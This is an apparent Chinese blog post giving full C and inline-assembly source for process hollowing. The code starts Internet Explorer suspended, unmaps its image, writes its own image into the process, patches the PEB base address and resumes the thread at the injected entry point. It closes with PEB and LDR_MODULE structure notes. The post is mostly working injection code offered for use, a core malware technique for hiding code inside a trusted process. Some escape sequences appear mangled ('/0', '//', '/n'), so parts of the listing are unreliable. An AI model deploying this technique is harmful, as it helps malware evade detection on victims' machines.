改写PEB在傀儡进程执行代码

时间:2021-11-15 11:46:14

方法来源于shadow3,我整理下;

#include <windows.h>
#include <stdio.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

typedef struct _ChildProcessInfo
{
 DWORD dwBaseAddress;
 DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;

NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(HANDLE ProcessHandle,PVOID BaseAddress);

int main(int argc, char* argv[])
{
 char IeModule[MAX_PATH] = {0};
 char SelfModule[MAX_PATH] = {0};

 HMODULE hModule;
 DWORD dwImageSize;
 PIMAGE_DOS_HEADER pDos_Header = NULL;
 PIMAGE_NT_HEADERS pNt_Header  = NULL;

 STARTUPINFO si = {0};
 PROCESS_INFORMATION pi;
 CONTEXT  ThreadContext;
 DWORD *pPEB,dwRead;
 LPVOID lpVirAddress = NULL;
 CHILDPROCESS ChildProcess;

 GetSystemDirectory(IeModule,MAX_PATH);
 IeModule[2] = '/0';
 lstrcat(IeModule,"//Program Files//Internet Explorer//iexplore.exe");
 GetModuleFileName(NULL,SelfModule,MAX_PATH);
 if(!strcmp(IeModule,SelfModule))
 {
  MessageBox(NULL,"fuck , ok","rhett",MB_OK);
  return 0;
 }

 hModule = GetModuleHandle(NULL);  //得到自己进程装载的基地址
 if(hModule==NULL)
 {
  printf("get self module handle failed/n");
  return -1;
 }

 pDos_Header = (PIMAGE_DOS_HEADER)hModule;
 pNt_Header  = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);

// 得到内存映象的大小
 _asm
 {
  mov  ecx,0x30
  mov  eax,fs:[ecx]
  mov  eax,[eax + 0x0c]
  mov  esi,[eax + 0x0c]
  add  esi,0x20
  lodsd
  mov  dwImageSize,eax
 }

 CreateProcess(
     NULL,
     IeModule,
     NULL,
     NULL,
     0,
     CREATE_SUSPENDED,
     NULL,
     NULL,
     &si,
     &pi
     );

 ThreadContext.ContextFlags = CONTEXT_FULL;
 GetThreadContext(pi.hThread,&ThreadContext);

 pPEB = (DWORD*)ThreadContext.Ebx;  //得到peb
 
 ReadProcessMemory(                //得到装载地址     
      pi.hProcess,
      &pPEB[2],
      (LPVOID)&(ChildProcess.dwBaseAddress),
      sizeof(DWORD),
      &dwRead
      );

 ZwUnmapViewOfSection(pi.hProcess,(PVOID)ChildProcess.dwBaseAddress);
 lpVirAddress = VirtualAllocEx(pi.hProcess,(LPVOID)hModule,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
 // 重写装载地址
 WriteProcessMemory(pi.hProcess,&pPEB[2],&lpVirAddress,sizeof(DWORD),&dwRead);
 // 写内存映象
 WriteProcessMemory(pi.hProcess,lpVirAddress,hModule,dwImageSize,&dwRead);

 ThreadContext.ContextFlags = CONTEXT_FULL;
 if((DWORD)lpVirAddress==ChildProcess.dwBaseAddress)
 {
  ThreadContext.Eax = pNt_Header->OptionalHeader.ImageBase + pNt_Header->OptionalHeader.AddressOfEntryPoint;
 }
 else
 {
  ThreadContext.Eax = (DWORD)lpVirAddress + pNt_Header->OptionalHeader.AddressOfEntryPoint;
 }

 SetThreadContext(pi.hThread,&ThreadContext);
 ResumeThread(pi.hThread);

 return 0;
}

//-----------------------------------------------------------------------------------

用到的几个重要数据结构:

peb 的结构太长,只写前几个,这里也只用到偏移8byte的字段

struct _PEB

+0x000  InheritedAddressSpace;

+0x001  ReadImageFileExecOptions;

+0x002  BeingDebugged;

+003  SpareBool;

+004  Mutant;

+008  ImageBaseAddress;

+0x00C  Ldr

...............

typedef struct _LDR_MODULE
{
    LIST_ENTRY        InLoadOrderModuleList;            // +0x00
    LIST_ENTRY        InMemoryOrderModuleList;          // +0x08
    LIST_ENTRY        InInitializationOrderModuleList;  // +0x10
    PVOID             BaseAddress;                      // +0x18
    PVOID             EntryPoint;                       // +0x1c
    ULONG             SizeOfImage;                      // +0x20
    UNICODE_STRING    FullDllName;                      // +0x24
    UNICODE_STRING    BaseDllName;                      // +0x2c
    ULONG             Flags;                            // +0x34
    SHORT             LoadCount;                        // +0x38
    SHORT             TlsIndex;                         // +0x3a
    LIST_ENTRY        HashTableEntry;                   // +0x3c
    ULONG             TimeDateStamp;                    // +0x44
                                                        // +0x48
} LDR_MODULE, *PLDR_MODULE;